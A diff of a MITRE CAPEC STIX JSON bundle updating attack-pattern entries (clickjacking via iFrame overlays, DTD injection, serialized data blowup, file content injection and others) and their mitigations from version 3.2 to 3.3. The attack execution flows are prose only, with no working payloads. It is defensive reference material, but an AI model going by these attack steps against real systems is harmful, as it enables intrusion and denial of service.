"x_capec_execution_flow": "

Execution Flow

Explore

  1. Craft an iFrame Overlay page: The attacker crafts a malicious iFrame overlay page.

    2. Techniques
    The attacker leverages iFrame overlay capabilities to craft a malicious iFrame overlay page.

Exploit

  1. Attacker tricks victim to load the iFrame overlay page: Attacker utilizes some form of temptation, misdirection or coercion to trick the victim to loading and interacting with the iFrame overlay page in a way that increases the chances that the victim will visit the malicious page.

    2. Techniques
    Trick the victim to the malicious site by sending the victim an e-mail with a URL to the site.
    Trick the victim to the malicious site by manipulating URLs on a site trusted by the victim.
    Trick the victim to the malicious site through a cross-site scripting attack.

  2. Trick victim into interacting with the iFrame overlay page in the desired manner: The attacker tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.

    3. Techniques
    Hide action controls over very commonly used functionality.
    Hide action controls over very psychologically tempting content.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--da7d677a-ae6f-4b92-b6a4-578b18ac2096", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-222-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Configuration: Disable iFrames in the Web browser.", - "type": "course-of-action", - "id": "course-of-action--da7d677a-ae6f-4b92-b6a4-578b18ac2096" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f004d2c5-c636-4b39-9be8-fbf612902dbb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f004d2c5-c636-4b39-9be8-fbf612902dbb", "source_ref": "course-of-action--da7d677a-ae6f-4b92-b6a4-578b18ac2096", "relationship_type": "mitigates", "target_ref": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5" }, { + "id": "course-of-action--0fd28b29-b808-4832-90eb-f5f753cb6353", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-222-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Operation: When maintaining an authenticated session with a privileged target system, do not use the same browser to navigate to unfamiliar sites to perform other activities. Finish working with the target system and logout first before proceeding to other tasks.", - "type": "course-of-action", - "id": "course-of-action--0fd28b29-b808-4832-90eb-f5f753cb6353" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8ceb66f2-318c-41f7-9c7f-8411d9e9db00", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8ceb66f2-318c-41f7-9c7f-8411d9e9db00", "source_ref": "course-of-action--0fd28b29-b808-4832-90eb-f5f753cb6353", "relationship_type": "mitigates", "target_ref": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5" }, { + "id": "course-of-action--37728b90-749a-4550-90b1-0befc14f3052", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-222-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Operation: If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames.", - "type": "course-of-action", - "id": "course-of-action--37728b90-749a-4550-90b1-0befc14f3052" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--653bb15f-3973-4933-b573-881524838af8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--653bb15f-3973-4933-b573-881524838af8", "source_ref": "course-of-action--37728b90-749a-4550-90b1-0befc14f3052", "relationship_type": "mitigates", "target_ref": "attack-pattern--b9593e93-5589-4ae9-b0e7-09fa5c3136e5" }, { + "id": "attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808", "name": "Fingerprinting", "description": "An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12939,11 +14011,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e117150b-4841-447b-aef4-8a9aa1d5ad94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -12952,23 +14024,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "While some information is shared by systems automatically based on standards and protocols, remove potentially sensitive information that is not necessary for the application's functionality as much as possible.", - "type": "course-of-action", - "id": "course-of-action--e117150b-4841-447b-aef4-8a9aa1d5ad94" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1eb63bf7-b7b2-4e41-9dfa-0544c490911b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1eb63bf7-b7b2-4e41-9dfa-0544c490911b", "source_ref": "course-of-action--e117150b-4841-447b-aef4-8a9aa1d5ad94", "relationship_type": "mitigates", "target_ref": "attack-pattern--76e6fe1e-34f2-40cd-8f12-f4d4f9c41808" }, { + "id": "attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce", "name": "Session Credential Falsification through Manipulation", "description": "An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server. For example, a credential in the form of a web cookie might have a field that indicates the access rights of a user. By manually tweaking this cookie, a user might be able to increase their access rights to the server. Alternately an attacker may be able to manipulate an existing credential to appear as a different user. This attack differs from falsification through prediction in that the user bases their modified credentials off existing credentials instead of using patterns detected in prior credentials to create a new credential that is accepted because it fits the pattern. As a result, an attacker may be able to impersonate other users or elevate their permissions to a targeted service.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13003,11 +14077,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601", "name": "Sustained Client Engagement", "description": "An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource. The degree to which the attack is successful depends upon the adversary's ability to sustain resource requests over time with a volume that exceeds the normal usage by legitimate users, as well as other mitigating circumstances such as the target's ability to shift load or acquire additional resources to deal with the depletion. This attack differs from a flooding attack as it is not entirely dependent upon large volumes of requests, and it differs from resource leak exposures which tend to exploit the surrounding environment needed for the resource to function. The key factor in a sustainment attack are the repeated requests that take longer to process than usual.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13015,12 +14089,24 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/227.html", "external_id": "CAPEC-227" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/003", + "external_id": "T1499.003" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" } ], "x_capec_prerequisites": [ @@ -13031,36 +14117,38 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ba77ea83-e6e2-4046-9e24-9a6bd2a3a947", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-227-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Potential mitigations include requiring a unique login for each resource request, constraining local unprivileged access by disallowing simultaneous engagements of the resource, or limiting access to the resource to one access per IP address. In such scenarios, the adversary would have to increase engagements either by launching multiple sessions manually or programmatically to counter such defenses.", - "type": "course-of-action", - "id": "course-of-action--ba77ea83-e6e2-4046-9e24-9a6bd2a3a947" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f425c6e4-a641-4d70-890a-e1583d4defe9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f425c6e4-a641-4d70-890a-e1583d4defe9", "source_ref": "course-of-action--ba77ea83-e6e2-4046-9e24-9a6bd2a3a947", "relationship_type": "mitigates", "target_ref": "attack-pattern--6e3dda09-c1da-4f44-a0b3-e0e3b6fe0601" }, { + "id": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a", "name": "DTD Injection", "description": "An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13068,7 +14156,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13092,95 +14180,102 @@ "The target must be running an XML based application that leverages DTDs." ], "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

  2. Determine use of XML with DTDs: Examine application input to identify XML input that leverage the use of one or more DTDs.

    3. Techniques
    Examine any available documentation for the application that discusses expected XML input.
    Exercise the application using XML input with and without a DTD specified. Failure without DTD likely indicates use of DTD.

Exploit

  1. [Craft and inject XML containg malicious DTD payload]

    2. Techniques
    Inject XML expansion attack that creates a Denial of Service impact on the targeted server using its DTD.
    Inject XML External Entity (XEE) attack that can cause the disclosure of confidential information, execute abitrary code, create a Denial of Service of the targeted server, or several other malicious impacts.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1370701a-b19a-4690-9a01-1c14c7c7f2a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-228-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Sanitize incoming DTDs to prevent excessive expansion or other actions that could result in impacts like resource depletion.", - "type": "course-of-action", - "id": "course-of-action--1370701a-b19a-4690-9a01-1c14c7c7f2a7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--fa5c2311-5b43-4e21-9d1c-a3f38ff378bc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fa5c2311-5b43-4e21-9d1c-a3f38ff378bc", "source_ref": "course-of-action--1370701a-b19a-4690-9a01-1c14c7c7f2a7", "relationship_type": "mitigates", "target_ref": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a" }, { + "id": "course-of-action--08a65d0b-e628-4d0b-8c91-ee3b1e9c215c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-228-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Disallow the inclusion of DTDs as part of incoming messages.", - "type": "course-of-action", - "id": "course-of-action--08a65d0b-e628-4d0b-8c91-ee3b1e9c215c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--683d38cf-120d-459e-b68f-e88ec1e6e9ea", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--683d38cf-120d-459e-b68f-e88ec1e6e9ea", "source_ref": "course-of-action--08a65d0b-e628-4d0b-8c91-ee3b1e9c215c", "relationship_type": "mitigates", "target_ref": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a" }, { + "id": "course-of-action--781b2c2c-e9f3-4d8a-b2e3-806800893f1a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-228-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Use XML parsing tools that protect against DTD attacks.", - "type": "course-of-action", - "id": "course-of-action--781b2c2c-e9f3-4d8a-b2e3-806800893f1a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--696727ca-cfe5-4525-84d1-4285f4a40004", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--696727ca-cfe5-4525-84d1-4285f4a40004", "source_ref": "course-of-action--781b2c2c-e9f3-4d8a-b2e3-806800893f1a", "relationship_type": "mitigates", "target_ref": "attack-pattern--5cf3eacf-a0c6-4c59-9f97-4f677a90587a" }, { - "name": "XML Attribute Blowup", - "description": "This attack exploits certain XML parsers which manage data in an inefficient manner. The attacker crafts an XML document with many attributes in the same XML node. In a vulnerable parser, this results in a denial of service condition owhere CPU resources are exhausted because of the parsing algorithm.", + "id": "attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861", + "name": "Serialized Data Parameter Blowup", + "description": "This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13196,43 +14291,74 @@ "x_capec_likelihood_of_attack": "High", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "The server accepts XML input and is using a parser with a runtime longer than O(n) for the insertion of a new attribute in the data container.(examples are .NET framework 1.0 and 1.1)" + "The server accepts input in the form of serialized data and is using a parser with a runtime longer than O(n) for the insertion of a new configuration parameter in the data container.(examples are .NET framework 1.0 and 1.1)" ], "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).\n \n A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.\n " + "\n In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2).\n \n A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.\n ", + "\n A YAML bomb leverages references within a YAML file to create exponential growth in memory requirements. By creating a chain of keys whose values are a list of multiple references to the next key in the chain, the amount of memory and processing required to handle the data grows exponentially. This may lead to denial of service or instability resulting from excessive resource consumption.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services to process requests using serialized data.

    2. Techniques
    Use an automated tool to record all instances of URLs to process requests from serialized data.
    Use a browser to manually explore the website and analyze how the application processes requests using serialized data.

Exploit

  1. Launch a Blowup attack: The attacker crafts malicious messages that contain multiple configuration parameters in the same dataset.

    2. Techniques
    Send the malicious crafted message containing the multiple configuration parameters to the target URL, causing a denial of service.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-229-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "This attack may be mitigated completely by using a parser that is not using a vulnerable container. Mitigation may also limit the number of attributes per XML element.", + "description": "This attack may be mitigated completely by using a parser that is not using a vulnerable container.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--d2e2fa88-94c8-452a-a641-8d9587ff599d" + "id": "course-of-action--2a9a6199-3e7e-4a2d-960a-04abb1fec1e0" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6f43bec7-de0f-45bc-960b-4dccc67074a8", - "source_ref": "course-of-action--d2e2fa88-94c8-452a-a641-8d9587ff599d", + "id": "relationship--06659f84-ed6a-4b74-8618-ed6de31ac40a", + "source_ref": "course-of-action--2a9a6199-3e7e-4a2d-960a-04abb1fec1e0", "relationship_type": "mitigates", "target_ref": "attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861" }, { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-229-1", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "description": "Mitigation may limit the number of configuration parameters per dataset.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--5dbcf5bb-4047-46ef-945a-d3b658626300" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c4b0778c-9df8-4c69-a647-540ef4e5f2aa", + "source_ref": "course-of-action--5dbcf5bb-4047-46ef-945a-d3b658626300", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--da41d572-d779-44a8-b8bf-530f49c32861" + }, + { + "id": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046", "name": "File Content Injection", "description": "An attack of this type exploits the host's trust in executing remote content, including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the adversary and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The adversary exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the adversary knows the standard handling routines and can identify vulnerabilities and entry points, they can be exploited by otherwise seemingly normal content. Once the attack is executed, the adversary's program can access relative directories such as C:\\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -13240,7 +14366,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -13286,124 +14412,132 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "\n PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.\n [R.23.2]\n " + "\n PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.\n [REF-88]\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--6e333960-e5cb-4589-9771-ba6ba993cd18", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6e333960-e5cb-4589-9771-ba6ba993cd18", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "course-of-action--f1b328f3-e5f7-4c0b-8cd1-92c178d9dffa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-23-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example)", - "type": "course-of-action", - "id": "course-of-action--f1b328f3-e5f7-4c0b-8cd1-92c178d9dffa" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0c333c67-716a-4a61-8bf6-5f10bc34123e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0c333c67-716a-4a61-8bf6-5f10bc34123e", "source_ref": "course-of-action--f1b328f3-e5f7-4c0b-8cd1-92c178d9dffa", "relationship_type": "mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "relationship--cc7b7a16-616e-46d7-b94c-09b98235f8a0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cc7b7a16-616e-46d7-b94c-09b98235f8a0", "source_ref": "course-of-action--59bcc683-a1e5-4b88-9821-ddb734003114", "relationship_type": "mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "relationship--b7de6045-8f58-4418-9b3f-fc61acce3199", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b7de6045-8f58-4418-9b3f-fc61acce3199", "source_ref": "course-of-action--da440d05-dc0e-4bfa-8490-7178ae419336", "relationship_type": "mitigates", "target_ref": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046" }, { + "id": "course-of-action--1d44c0fd-4e64-4fa4-8d72-c90a53d49497", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-23-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Virus scanning on host", - "type": "course-of-action", - "id": "course-of-action--1d44c0fd-4e64-4fa4-8d72-c90a53d49497" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a05f53a8-d3f4-43a9-918b-d1d51c74287e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a05f53a8-d3f4-43a9-918b-d1d51c74287e", "source_ref": "course-of-action--1d44c0fd-4e64-4fa4-8d72-c90a53d49497", "relationship_type": 